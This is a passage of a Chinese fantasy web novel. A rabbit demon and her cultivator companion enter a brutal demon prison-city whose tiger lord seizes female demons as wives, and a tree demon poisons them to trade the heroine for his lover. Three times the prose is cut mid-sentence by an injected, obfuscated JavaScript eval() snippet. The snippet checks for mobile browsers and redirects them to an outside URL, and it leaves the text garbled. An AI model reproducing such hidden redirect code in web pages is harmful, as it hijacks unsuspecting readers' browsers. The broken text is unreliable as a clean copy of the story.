玉扶也还记得那儿,那是她被恶妖卷入带到的第一个地方,说实话,她到现在还有阴影呢,不过换个角度想,她也是在那里遇到的息尘。 这样想,反感的情绪便少了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247808|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得益于从开阳宗出来追狐妖行的路程,他们从当下的城池到梅江城并不算太远。 不过一日的功夫,就已到当初被妖域吞入的地界。 虽还不曾有人族重新移居回来,但明显的,妖域的扩张已经撤去。 息尘并没有忙着进入妖域,他记得孟栩也是在这周周旁遇到的狐妖,并将其带回。 当初他不曾多想,如今再看,处处疑点,即便是受伤的大妖,也不可能轻易因人修的救助,便甘愿定下契约。 且看狐妖从游仙会出来后对孟栩的伤害,怕是连契约也有存疑。 息尘更偏向,孟栩从一开始就受到了蛊惑。 然而,那时同孟栩一同留在梅江城的,还有他的几个师侄。 狐妖精确知晓行知、行远等人与他的关系,恐也与留在梅江城的那几日有关。 他想着,也带玉扶先行到了当初修补的妖隙处。 果然,有一处的修补痕迹不对,不像是出于他的手笔,更像是出自他的几个师侄。 也以至这一处合上的极其缓慢。 他大抵知道当日这些年轻修士是如何带回狐妖了,稀有的受伤狐妖,加一界之隔的阻拦,从一开始就在年轻修士的脑中下了诱因,但凡有一人生了贪念,这诱因便会于其脑海中生根。 几人再合力将狐妖带出,也便更完善了一整套的逻辑,再被带入游仙会更是水到渠成。 息尘探手触碰结界,周身也覆上了一层相似结界,轻易带玉扶入了真正妖域的范围。 甫一入内,玉扶就感觉到了与外头全然不同的气息,明明是同一轮月,月亮却好像靠得更近也更大了。 密林中一对一对幽亮的光点,都是妖兽的眼。 还是些连灵智都不曾开的妖兽。 玉扶好歹是能化形的妖,几个月过去,先不说长进的事,以往的能耐还是恢复不少的,她的妖息散开,光点一个个褪去。 玉扶扭头,又寻夸夸似的等着息尘表示。 夸过几次后,息尘也从不熟练,摸到了玉扶对不同夸奖的反应,她似乎对更贴近更普通一些的夸奖更愉悦。 这次不用多想,息尘已然夸出口:“阿扶修为渐长,很好。” 自然得息尘也在说完后静默了一会,倒不是夸的不对,而是意识到他在不知觉中被玉扶改变了许多,这到底是出于他本心,还是有旁的影响,一时竟难以辨清。 玉扶没发现息尘一瞬的沉思,她也觉得自己放出的妖息厉害了不少,能吓跑许多的妖兽。 在山上时,可没有这么多妖兽让她逞威风,一时很是得趣。 但这种威风,在靠近一座妖城时,息尘止住了玉扶,“阿扶,妖域妖城千百,你我入的并不知是何城,里头的情形也未知,莫要太招摇。” “只要问出狐妖的消息我们便离开。” 玉扶扬起的头,恰能瞧见息尘于兜帽中垂下的脸,于额角浮现的妖纹,亮闪闪,漂亮的金色。 和她想的一样好看。 “阿扶。”息尘沉声地唤了一声。 玉扶连忙用兜帽盖紧了自己的脸,一丝蚊蚋般的声从中飘出:“知道了,我一定小心。” 21. 第 21 章 二人进入妖域时,已是入夜,此刻妖城在巨大的圆月背景下,既幽暗又亮得诡异。 这显然是个有大妖坐镇的妖城,才靠近,便见城门口排了老长的队,门口几个化形不全的高大妖修,在不耐烦地等着一个个妖的通过。 玉扶与息尘排在最后,前头的妖有所感地打量他们一眼,见他们即便包裹严实,露出一半的面庞也白润干净,身上甚至干净得除了妖味外,没有旁的味道,立时与他们隔开了点,给他们留下更多的位置。 能在妖城外一直保持着干净的,多少有点能耐,惹不起,能避就避。 玉扶也在打量他们,他们有的化形不全,有的甚至刚化形,化出的衣物也破破烂烂的,甚至或多或少都有些血腥味。 只见前头进城的,还缴纳了妖兽的妖丹。 玉扶紧张地扯了扯息尘,她将妖兽驱得太干净,也不知道入妖城还要缴妖丹啊,现在重新去杀几只可还来得及? 息尘轻拍了拍她伸来的手,带有安抚的意味。 早前他在修补妖隙时,也超度了一些妖兽,它们的妖丹一直在储物中不曾处理。 此时取出足以过关。 但守门几个妖修并未轻易放过他们:“兜帽放下来看看。” 息尘如言所做,除了额角的妖纹外,幻形斗篷也在他身后浮出一个鹿的虚影。 几个妖修对他看一眼,便摆摆手放过,视线落到了玉扶身上。 玉扶眼下妖纹浮现,当着他们的面冒出了自己的兔耳。 明明是寻常的显形,守门妖修自身也保留了不少妖的特征,但在见到玉扶时,眼神倏地变得莫名奇怪,玉扶很快又戴上了兜帽,缩到了在一旁等候她的息尘身后。 息尘平和的目光,露出威慑之意,守门妖修才不爽地抽了后头排队的妖一鞭:“挤什么挤,一边排去。” 在鞭声中,玉扶与息尘走远,但玉扶还是忍不住回看一眼,只见,那守门的妖还是用一种古怪的眼神在盯她,与她对上眼,笑得露出尖牙。 玉扶惊得贴在息尘身侧:“息尘,你有没有觉得这座城有些怪。” “是很怪。”这座妖城的女妖太少了,放眼去,几乎都是散着凶兽气息的男妖。 而女妖,几乎见不到,放出的神识,唯查几个,也皆年迈身残,瑟缩躲在角落。 这很不寻常,无论是修士还是妖族,都没有凡人地界中男女力量上的差别区分,只有实力等级之分。 一城之地,却出现这样的男女数量之差,要么是所有女妖刻意避开了此城,要么,就是此城的大妖刻意驱赶打压了女妖。 无论是哪种,入妖域进入的这第一个妖城,对玉扶都不友好。 息尘在一瞬闪过,是不是该将玉扶藏起来,但这种想法很快就被压下去,阿扶再小,也该经历成长,而不是由他为她做决定。 且这是妖域,妖与妖之间天生就有着更敏锐的觉察力,藏了恐怕也无济于事,倒不如由他看顾着,增长些见识。 于是,只叮嘱道:“阿扶,多留意周遭,跟紧我。” 玉扶轻“嗯”了一声,然后又拉下了兜帽一瞬,示意息尘看她。 她穿的也是幻形斗篷,因为好奇,在买入的时候就将功能都摸透了,先前,因本就是妖,没想着用这个斗篷的作用,显的本相。 此刻,察觉了妖城的不对,她当即利用斗篷给自己幻化出了个全然不同的模样,半人半妖,鳄鱼的头,人的身体,粗糙疙瘩鳞的尾巴直从斗篷里拖到了地上。 同先前进城时,见到的一些妖兽的化形有个七八分的相似。 自从第一次被妖魄吞了一半精血修为走,她就再惜命不过,虽也觉得这样丑,但她自己要跟来妖域,那总不能拖后腿吧。 给息尘看一眼后,她就立即低了头,并不希望这丑面目给息尘留下太深的印象。 也想快点从这座妖城中打听到一些消息,当即四处观察着寻方便打探消息的妖。 九尾天狐,就算是放在整个妖族中也不多见,只要曾出现过,或者本就是妖域中有名气的大妖,就不难打听。 但放眼望去,玉扶发现,这座妖城几乎寻不到什么正常营生的妖,随处可见的比斗,掏出赢下之妖腹中的妖丹直接吞食,甚至还有将刚杀死的妖就地肢解,分开了卖的。 不同的妖,身上都有不同坚硬的部分,有时人修需要妖身上的那某一部分作炼材,妖也同样需要,而且,显然生意不错,才不久,玉扶就见那杀了同类后支起摊子的妖,身旁围上了一些欲交易的妖,有要坚硬皮甲的,也有单纯要肉的,直接吞吃,吸纳里头还没溃散的妖力。 玉扶连瞧几个生猛画面,步子也软了地后退一步,她开始庆幸自己不是生在妖域的妖了,如果妖域中的妖城都是这样的光景,她能不能长大都难说。 息尘显然也瞧见了玉扶瞧见的那些,上前一步,挡了挡:“换一处看看吧。” “莫多想,也不是所有妖城是这样。” 玉扶与息尘都不是乐意在此同妖起冲突的,当下换了一处道口,倒是好了许多,但也出现了另一种不寻常,太干净了,干净的过分。 玉扶寻中街口一个小蜥蜴妖,于他身边状似无意地同息尘道:“这条街可比刚才那条街干净多了,同一座城,怎么差别这样大?” 那小妖果然扫了他们一眼,满是看外来妖的模样:“能不干净吗,我们城主又要娶妻了。” “第七十八房。” “到时迎亲队就往这条街走。” 玉扶惊讶:“怎娶这般多?” “不会是因为这个缘故才女妖少的吧?” 玉扶与息尘小声嘟囔。 蜥蜴妖听见,面容古怪狞一下:“怎么可能呢,我们这妖狱本就没有女妖啊。” 他的面容倏地,比先前入城见到的守门妖修都要充满恶意。 息尘立时拉玉扶退远了几步,蜥蜴妖也不在意,继续擦拭着每一块地砖,因跪趴的缘故,脚腕露出一圈虎纹锁。 “阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264354|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶,我们恐怕进错地方了。”息尘语气异常严肃,径直带玉扶退回入城附近。 与他们一同进城的妖当中,也有发现此城的不对,祈求守门的妖放离。 没有被拒绝,但也没有被同意, 玉扶见到,守门的妖手里有块留影石,其上出现了她与息尘,她还听见:“想走,可以啊,我们城主最是讲道理的妖,妖妖都有离开的机会,抓到这兔妖,献给我们城主当新夫人,就能走。” “城主的夫人中还没有兔子精的,这次生出的孩子也不知道会是什么怪物。”数个守门妖修浑然忘我地大笑,习以为常地谈论。 与此同时,整座妖城似乎都因等来了猎物而开始封闭,城墙快速向上增长合拢,玉扶和息尘的巨大投影也随之在夜幕中炸开。 整座城在躁动,血气味在鼻尖弥漫,无不揭示着一场狩猎开始。 玉扶缩回墙角大口喘着气,她运气真是一如既往的不好,明明都是妖,却偏和妖犯冲似的,每次遇到的危险都同妖有关。 息尘只看了天幕一眼,眉头蹙起,一股无名戾气于心底冒出,不是因天幕的留影,而是因那几个妖修的话,第一次有了被触怒的情绪。 压下这种情绪,他道:“看来这里没有我们想要的消息了。” “阿扶,我们离开这。” “斗篷不能穿了。”即便斗篷能幻形,可装扮上在这座城中却是格格不入的。 玉扶听话地换下斗篷,但她的状态明显有些不对,蔫蔫的,像是做错了什么事,看上去可怜巴巴的。 “阿扶,是我要查狐妖的去向,也是我选中了梅江城的妖隙进入妖域。” “你已经做的很好了,很聪明,也很小心。” “还很厉害,赶走了很多的妖兽,赶路都快了许多。” “你非常好。” 他的语调平和又温柔,玉扶还是第一次听他一口气夸自己这么多,低落的心情顿时好转,但也没平时那样没心没肺的开心,而是担心:“那我们要怎么离开这里?” 玉扶是妖,正是妖,才更能感知到这座城中到底有多少的妖存在,息尘再厉害,她也不认为他能与一整座城的妖对抗。 即便对抗了,侥幸出了这座城,外头也还有一整个妖域,谁知道还会有什么危险趁虚而入? 玉扶觉得,城里的那么多妖,最好不要在他们疯狂时对上,人修有句话怎么说来着,“擒贼先擒王”,把最大最可恶的抓住,或许所有问题就迎刃而解了。 而且,狐妖的消息也见不得就在这打听不到了,一城之主总能知晓些什么的吧。 玉扶一思考起来,瞳仁闪出的光亮晶晶的。 既已暴露,息尘也别无他法,唯有强闯,只观此处的禁制,怕不是一时可破,恐引得众妖聚集,此刻见玉扶好似有什么主意,便也缓下了强闯的念头,暂用结界隔出一片墙巷,鼓励地问:“阿扶有什么想法?” 玉扶抬眼,非常确定地道:“我们去解决掉这座城的城主吧。” 22. 第 22 章 “你记不记得那条最干净的街道,那个小蜥蜴妖说,城主马上要娶妻,我们等他娶妻,一起混入迎亲的队伍,一定能见到城主,到时我们便一起将城主干掉。” “干掉他,城中的所有妖就没有抓我的必要了。” 干掉比自己厉害许多的大妖,玉扶越说越兴奋,她还是第一次想这么多,这么大。 息尘安静听她说完,唇角笑意加深,计划虽直白粗陋,但也不是不可行,只是:“那我们要等上一等了,在这之前,阿扶,你要先想想,怎么混入迎亲队伍。” “即便于婚礼之上,斩杀了蛮虎妖,到时要面对的怕也不是少数几个妖,必须及时撤离。” “再则,这这座城的古怪之处,也必须弄清。” 没有比不被质疑,还帮忙点出缺漏更温柔的鼓励了。 玉扶连连点头,倏地觉得整座妖城都不可怕了。 既有了主意,玉扶便不再想躲在角落,她收起幻形斗篷,改服用了妖息丹,暂时遮盖了自己身上原本的味道。 只要不面对面地撞见,就没有妖能从味道上寻出她来。 息尘也换了妖纹与斗篷。 是鹤妖纹,红色的,细长交错的两条,在额中心。 极致的红,于息尘圣洁温和的面庞上,冲击尤甚。 玉扶眸底又不受控地沁出妖性的红,他什么时候才能答应她一起修炼啊? 息尘:“阿扶。” 亲和又带着些振聋发聩的声音。 息尘用上了静心的言法,他早有感觉,玉扶不知是何妖性使然,总会昏然地做出些不合时宜的举动,说出些大胆又让人无从招架的话。 好在他的言法对她颇有些作用,能时时警醒。 他望着玉扶清明了的眼神,淡淡地笑:“阿扶,该离开此处了。” 玉扶哼哼地揉自己被言法振得发疼的耳朵,神志无比清明地在脑中气骂:呆瓜,没情趣。 她气得遁入地下,半晌,才从地底伸出一只手,声音也闷闷地从地下传来:“我遁地很厉害,不会被地上的妖发现。” 遁地虽无遁空快,但确实更适合当下,隐蔽,还能于地下摸清一些地点和路线。 息尘将手伸给了玉扶,很强的拉力瞬时将他拉入地下。 因要带人,玉扶特意将遁地的空间撑开了点,还特别留意掉渣的问题。 换了平时,她可舍不得这么费力呢,尤其是逃命的时候,能逃就不错了,还哪里管掉不掉土的。 不过,她也故意留了一点小心眼呢,一小片空间,只够两人贴着走。 息尘几乎不用刻意去感知,便能从中感受到玉扶贴来的温度,无论是并着走,还是侧着身,都避无可避。 亲昵得过分。 这些感觉几乎占满了他的感官,然则,若要提出些意见,息尘又不忍打击了玉扶,她已经进步很多。 息尘尤记得,初捡到玉扶时,她雪白的毛发上沾满了尘土。 罢了,待她修为更深一些便好了。 一经从敏感的思绪中抽离,息尘的神识便不囿于方寸,扩大的神识能清楚捕捉到地面之上大半个妖城的动静。 妖,非常多的妖,不止是在寻人,甚至在相互争斗吞食。 这是个完全不断掠夺的妖城。 然往回收的神识,息尘还有了发现,同样是地下,不少植被的根茎似乎异常的活跃。 “阿扶,到了前头……” 息尘微垂下脸,几乎是贴着玉扶的鬓边说着安排。 玉扶昏昏然地被带出了地面,躲了起来,对息尘的提醒,没有半点准备,她光顾着感受他呼吸喷在肌肤上的感觉了。 但此刻顺着息尘的目光瞧去,很快有了发现,他们方才突然消失的地方,冒出了根茎的须须。 先是一点儿,探头探脑小心翼翼的,继而像是着了急,探出越来越多的根须,几乎布满了一大片的地面。 且还都是先才玉扶与息尘在地下,经过留下点气息的地。 这是一只木妖。 玉扶确定。 光看城中都是凶兽一类的妖,让他们都忽视了还有偏温和的植妖一类。 这木妖好生狡猾,一直偷偷跟着他们。 玉扶气不过地道:“我们就抓这只木妖,拷问这座城的古怪!” 一说完,也不管息尘赞不赞同,极快化为原形地遁入地下。 不用带人时,玉扶速度快得惊人,于地下,在根须根本来不及撤离时,咬住了最粗壮的一根,搬山似的力道一旦揪住了,除非木妖自断臂膀,不然不可能挣脱。 显然的,这个木妖,并没有想象中的强,也没有断臂的胆量,不然也不会只偷偷地跟了。 “我不是来抓你们的,我是想求你们帮帮我。”低弱的男音从根系中传出。 玉扶哼哼地不信,哪有帮忙是偷偷跟着的? 分明就是被她抓住了,在说假话装可怜! 玉扶强硬地将木妖扯出地面。 息尘搭了一把手,视线于玉扶对木妖根系的咬合处停了停,道:“阿扶,松口,不要咬入脏东西。” 玉扶乖巧松口,呸呸了几下才化形,后知后觉地发现自己一点也不优雅,这个样子怎么让息尘觉得他们是一样的嘛。 息尘如果还一直将她当兽看待,什么时候才能一起修炼。 玉扶顿时更恼木妖,提着无相石聚合而成的锤子哐哐往木妖的根系上锤。 木妖顷刻疼得化出了人形。 是个文弱摸样的男子,藤蔓似的绿色妖纹从眉骨蔓至耳后,显出几分清新秀气:“请相信我,我对你们没有恶意,我也是不小心入了这座城。” “为何偷偷跟着我们?” “我们已经换了身上的气味,也没有于妖面前出现,你又是怎么发现我们的?” 玉扶越问,越看他别有用心。 木妖的腿部受伤弯折,仅用生出的根系固定着勉强站立回答:“我在半个月前误入这座妖城,一直在寻找离开的办法,但这处其是一处关押妖的妖狱,只要入内,便会受到束缚。” “我的能力有限,只能寄希望寻到伙伴。” “凶兽之流我并不敢上前,会发现你们,是因为我一直留有根系在入口附近,在你们入城时,我便通过根系见过你们。” “我能寻到你们,也是因地下是我们木妖擅长的领域。” “你们才入城几个时辰,我可以将我知晓的都告诉你们。” 木妖强忍着痛说完了半是求饶半是显露用处的话。 虽还是对他不信任,但玉扶和息尘现在确实缺少对这座城的了解。 且这木妖配合态度也颇良好。 “阿扶,便先听听他如何说罢。”息尘道。 玉扶自是没有异议:“好。” 木妖终于松下一口气地提议:“我有一隐秘可躲避之处——” 话未说完,玉扶就凶凶地瞪了过去,“不去。” 谁知道隐秘之所是不是出卖妖的。 “你现在就往地下用你的根系结一个空间,我们慢慢听你说。” 木妖没想到这个瞧上去涉世未深的小兔妖,防备之心竟然如此之重,但他也并不敢同另一个疑是人修的修士多言语,恐多说多错。 当下只与修士眼神怯弱地确认一下,便开始认命地往地下开拓足以容纳三人的空间。 在木妖努力干活时,玉扶眼眸直向息尘骄傲地示意,就像是在说:你看,我一点也不好骗吧。 她可是下山前经过整个宗门培训的妖。 息尘瞧得好笑,分明是想用眼压一压地制止她的骄傲,但笑意早已漫上了脸庞,失去了威慑。 玉扶顿时笑得更灿烂。 也就眉眼几个来回的功夫,木妖已将地下空间结好,他颇虚弱地请玉扶和息尘进入。 根须结成的空间在地下三丈左右,如同一个小房间一般,还贴心地用根须结出了一张圆桌并三张圆椅。 但根须总归有些缝隙,稍有些掉渣,息尘甫一进入,为根须多加了一道结界,整个空间都包含入内。 木妖见此,眸光微闪了闪,邀请道:“二位请坐。” 玉扶并不同她客气,坐下就道:“你说吧,你都知道什么?所有和这座城有关的都告诉我们。” “你可不要说谎!” “二位能力不凡,我想与二位合作都来不及,又怎会有隐瞒。”木妖面上带上了苦涩:“在下名木章,如二位所见,原身是棵樟树。” 玉扶点了点头,完全认同,这一片空间樟树的味就特别浓。 木章继续道:“我等草木要生出灵智常常比之兽类更难,也更看机缘,我于人界一山水灵秀之地苦修数百年,才方可化形离开根植之地。” “我虽非名贵珍惜灵木,但也有求道之心,苦求一小宗收留,没想,竟差点成了炼材,我听闻妖域不拒绝任何妖,便阴差阳错入了此地。” “此城与我所想大差径庭,非寻常妖城,而是一废弃的妖狱。” 终于说到了玉扶与息尘在意的点,玉扶直直盯着木章,等着他最好说些他们并不知的信息。 木章:“妖狱是妖王昔日所设,专用来关手下战败的妖。” “但妖王已许久不曾亲自出面理事,也无新的妖被关入,这座城便渐渐荒废……” 玉扶懂了,城虽荒废了,但之前被关入的妖还在,这些妖有胆挑战妖王的地位,能耐本就不俗。 他们于妖狱内继续争斗,继续相互吞食,最后胜出的,如今的城主,一只蛮虎妖,掌控了这座城,并且利用了这座城的规则,令所有过路,亦或是不知道这座城底细的妖,都有进无出。 那些脚腕处有一圈虎纹锁的妖,都是心甘情愿被蛮虎妖驱使的妖奴。 甚至,就连成为妖奴的机会都要抢。 否则的话,就如玉扶入城见到的第一条街道那般,相互争斗,相互吞噬,直到离开机会的来临。 而任何误入此城的女妖就是他们的机会。 蛮虎妖虽占据了这座城,但妖王昔日对他的影响尤在,他被困于这一城,空有掌控全城之力,独独出不去。 他被关变态了。 不过是听闻“龙生九子,各有不同”,便动了娶妻生子的念头。 自此一发不可收拾,不断娶妻生子成了他的乐趣。 甚至还建了一座专门用来收藏的园子,里头都是他的不同妻儿。 其中大半都是将母体力量吸食而死的怪物。 玉扶听到此简直倒吸了一口冷气,她知道的,越强大的妖是越难孕育子嗣的,因大妖的子嗣一般都会同普通的妖兽不同,从存在那一刻开始,就会吸收母体的养分,如果母体弱,那就另需父亲一方的力量维持。 她听姥姥说过,她生来就开了灵智,又生得健康,就是因为她的父母都爱极了她,在她还在母亲腹中时,父母便不断用最菁纯的灵息为她开智。 后来虽然他们在她很小时就不在了,但她在想起他们时,也常会感到温暖。 总之,就以玉扶知晓的来推测,以蛮虎妖娶妻生子的速度,母体一方定然不够强大,而蛮虎妖也并不会为了每一个孩子上心。 也就是说,一个孩子的诞生,是完全依靠母体养分的,甚至,因父方妖力更强,种下的种子也会更强悍,母体内的孩子,还会出现吸干了母体的养分,仍不够成型的情况。 最后诞生的孩子或许根本就是不完整的,难怪那些守门的妖会提到“怪物”。 只是因为一个猎奇,创造了许多的怪物,也抓走、残害了许多的女妖。 玉扶从未听过这样无耻混蛋的恶妖,简直就是妖中败类。 “我要干掉他!” 玉扶愤慨无比,木章也惊得看她一眼,但他并不认为她有那个本事,倒是—— 木章视线飞快扫一眼息尘,对他仍有些忌惮,他已能认定这人是人修,而且还是他也辨不出修为的人修,若非情不得已,他倒真想同他们合作。 可惜没有如果,不牺牲他们,那他的兰娘就要在今日嫁给蛮虎了,这同让她去死又有何区别。 况且,若非城中突然多了个人尽皆知的兔妖,城主也不会突然提前了迎娶的日子。 就在他主动寻上眼前一人一妖之前,他分出于城主府的枝桠听得,城主听闻城中又来一貌美女妖,大喜,决定今日娶一个,明日抓到兔妖后,再娶一个。 他不得不尽快下手,先用兔妖将兰娘换出来才是。 他紧张地计算着时间,不期然地对上了人修的视线,惊得一跳,一个对兔妖百依百顺眸色一直温淡平和的人修,眸色怎倏地沉得可怕,是发现了什么吗? 再等等,只要再等一会,无处不在的樟木气息,就会被他吸入更多,漫入此人体内的樟木毒素,会麻痹他的经络,令他无力……兔妖,兔妖倒并不用在意,她早前咬过自己,他的汁液恰可以减缓毒素对她的影响……不会被发现的……一切都如计划……再等等…… 息尘隐约觉得他有些异样,但他此刻,不得不将更多的注意放于识海深处,禁制下的意识不知为何,冲撞得得激烈,震得他识海都在动荡。 他强压着动荡,问:“既蛮虎妖都离不开,他又如何能送其他人离开。” 玉扶登时点头附和,也看向木章。 虽同时被一人一妖盯着,但发现所问并非他害怕的,木章暗松下一口气,回答得越发认真:“蛮虎离不得,是因囚他的是妖王,而旁的妖,不过是蛮虎个人所为留下的,只要他愿意,便可放得妖离去。” “你如何认定我们能帮你?”息尘再次凝神打量此妖,不止是玉扶,他也总觉此妖似仍有不实之处,太过主动,也太过热心…… 为何他的眼前有些花?声音也开始听不真切? “息尘,你怎么了?”玉扶发现了息尘的不对。 息尘:“阿扶,快跑。” 息尘罩下的结界轰然碎裂,支持一方空间的根须倏地缩紧,但息尘即便被毒素浸入了筋脉血液,也不容小觑,生生从盘结交错的根须中为玉扶破开了一道口子。 就同之前约好的一般,遇到危险,玉扶要先跑。 玉扶也如约在根须破开的一瞬蹿了出去。 木章又急又恼恨,想去追玉扶,但人修实难缠,不得已,只能先放一放玉扶,她也中了他的毒素,即便发作更慢一些,也跑不远,料理了人修才是。 所有的根须在向上攀,巨大的动静,惊动了许多妖,根须散开,息尘暴露于众妖眼前—— 木章笑了,他将人修送到的是妖最密集之处。 他悄无声息地收回根须,妖城中许许多多的草木受到他的联络,大范围地开始寻起玉扶。 * 玉扶觉得自己跑了很久,可她的身体越来越沉,脑袋越来越昏,她开始失去力气,但她还想之后去瞧瞧息尘,他没跑出来,一定比她还惨,他是人修啊。 可是,他那么厉害,一定不会有事的吧? 玉扶不确定了,她昏昏然地召唤出无相石,一层又一层地将自己裹住,直如融入了大地。 木章寻来时都险些错过,也颇废了些力气才将玉扶挖出来。 地下简直如是木章的世界,来去尤为自如,他骗了玉扶与息尘,他一颗小小樟树,要成妖,怎可能单单是修炼了几百年,他还盗了许多偏远宗门的许多灵药,他是在南境小宗门中出了名的小偷。 但这里是妖域,没有人认得他。 他也必须救兰娘,兰娘与他一同逃至妖域,在误入此城后,是为帮他引开那些恶妖,才被抓献于城主。 很快,他带着玉扶到了一处园子,园子非常的四不像,没有半分人族中的雅致,更像是洞穴与一些整座搬来的建筑拼凑在一起。 这是蛮虎用来看押要娶的女妖之处,他没有直接进入,而是先通过根须连接园子内部的草木,又通过这些草木为耳目,寻找兰娘的方位。 一间黑沉沉的室内,红帐红得刺眼,一女子如同木偶一般被妆点打扮。 而那些为女子妆点打扮的妖,个个枯槁麻木。 这几日,兰娘也不是没有试图从这些老妪口中套出一些话,但她们的话少得可怜,她们似乎连情感也没有,只是单纯地看住她。 她祈求她们放过自己,然她们看她的目光没有怜悯,只有麻木了的冷然,按部就班地押着她沐浴、试衣,压着她接受事实。 于一张张枯槁干瘪的老脸中,她似见到了自己日后,她会如蛮虎妖过往数十次的娶亲一般,短暂为这座城带来一点亮色,然后就是死寂,独属她的死寂。 她会被迫怀上蛮虎妖的孩子,在所有妖的猎奇中,诞下一个不知是怪物还是什么的孩子,这个孩子会吸干她的妖力,她可能会死,可能会疯,还可能枯槁地活下来,变成同这些麻木的老妪一样,等待着下一个同样遭遇的女妖出现,然后短暂地获得一点将人拉入深渊的愉快。 光是想到,就已让她后悔为木郎做出的牺牲,她分明能再躲一躲,再藏一藏,不这么快被抓到。 她开始宁愿死在外头,也不要入了这虎穴。 这是比地狱还可怕的地方。 即将被迎娶,她的神经也变得越发敏感,在疯的边缘不断徘徊,也是这时,她感到了一丝熟悉的妖力,生机无比的樟木气息。 一段根须从空荡的婚房砖缝中冒出。 她跟着根须绕到了墙尾。 这是一座没有半点审美拼凑的院落,以至房屋墙尾连的竟是洞府似的石质外壁,草木之坚韧,于石壁生长也是常有的事。 石壁极快地生出一棵树,化为了人形:“兰娘,我带你离开。” 几乎是在同一刻,兰娘扑进了木章的怀中无声哭泣,她悔过为让他逃做出的牺牲,可见到他出现的那一刻,兰娘就什么也不想了,她本就是一株野兰,侥幸开了灵智,全靠木章盗来的灵药,才得以化形。 她摇头:“木郎,我走不掉的,蛮虎对这座城的掌控你是听闻过的,我若是在他大婚消失,定然会寻到你身上。” “我带了一兔妖来顶替你。”木章握紧了兰娘的手:“至少今日我可以先带你离开。” “兰娘,我不愿你去嫁他,我想明白了,即便是死,我也想与你死在一起。” 兰娘听得兔妖,惊了一惊,顿时更加感动,木郎分明,分明能献上女妖,换得离开的机会。 可比起这个,他竟更想救出她,与她同死。 泪水汹涌,浸湿了木章的衣袍,木章更拥了她拥道:“我观同兔妖一起的人修不俗,他虽中了我的毒素,但恐限制不住他多久,若他没死在众妖的手中,今日城中必然有一场大闹。” “到时,说不得我们还有离开的机会。” 他们并非妖奴,身上不带虎纹锁,那他们只要有机会离开,就有很大的几率逃出虎穴。 “那兔妖在哪?”兰娘擦干了泪,“我们尽快让她替代了我。” 她已然觉得,无论生死,逃出这,同木郎死在一块也是值得的。 木章根须于地下拉扯,玉扶很快落于二人眼前。 木章的毒素,令玉扶全身既僵硬,又安详,瞧着就像是睡着了一般。 木章是普通草木成精,可也正因原形的寻常,往往会令人对他所散发的寻常味道掉以轻心,他的香,从来不止入药与防虫,还有毒。 尤其是成精化妖后,他更加精练自己的毒素,即便是不吸入,只要于他附近,便会通过肌肤渗入,他昔日能每偷必成,也盖因精于此道。 玉扶与息尘二人,不止是吸入了空气中的,甚至还坐了他根须所化桌椅,中招从一开始就是必然。 木章并不认为自己做的不对,妖本就少廉耻,不是他死,那就只能是别的妖死。 况且,既然都是要死的,那为何不能成全他与兰娘死在一处。 他从他们入城,就已盯上。 很快,兰娘为玉扶套上了艳红喜服,胡乱插上一些发钗,盖上盖头,扶她靠在床靠上。 兰娘的妖力被暂禁,但毕竟是植妖,木章带着她,比带着玉扶还轻松。 当几个老妪再入房时,已是到了送嫁的时辰。 打头的老妪,见靠床的新一动不动,上前掀开点她的头盖,惊得后退了一步。 新妇换了妖! 旁的老妪也上前几步,露出几分惊异,分散开于房中寻到踪迹,又重聚一处,各自摇头。 “就用她替代吧。” “能寻了人来替代,也不算令我们难做。” 她们早已对城主娶妻一事麻木,娶的是谁也从来无所谓,只要满足城主的娶妻要求即可,至于逃掉的,能逃出这座城才是真的逃掉,仅仅是出了这一处园子,城里的妖,哪会放过一个机会。 可那真的是离开的机会吗? 蛮虎自己都离不开,又怎会真给出妖离开的机会? 不过是以此寻乐罢了,所有争得头破血流送上女妖的妖,早就在其提出离开就死了,代替他们出城的是披着他们妖皮的妖奴。 而于城外溜达一圈给城内妖带来希望的妖奴,除了死之外,只有重新回来一个选项。 没有一妖能离开这座妖狱,没有。 她们机械麻木地为玉扶重理婚服,扶上了轿辇。 轿辇红帐飞舞,玉扶意识稍有恢复,但身子仍旧好重,勉力撑开一丝眼,全是红的,好像到处都是红的。 遥远似还有打斗声响传来。 筋络中的灵力凝滞,息尘又被一妖抓伤。 血染红了他素色的衣袍,有他自己的,也有一些妖的,捏出的言法,逐渐从大打折扣,变得不灵。 些许恶妖开始将他当做囊中之物,甚至开始相互争夺起来。 妖狱中可没有这样特殊的人修,谁吃下,谁的修为或可大增。 息尘抓住他们争夺的缝隙,凝力遁空,凭着气息去寻阿扶。 木妖将他扔至群妖聚集处,定然会去寻阿扶,阿扶危险。 她只是一只小兔,息尘不敢想,阿扶会遭遇什么。 杀了蛮虎妖! 息尘从未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 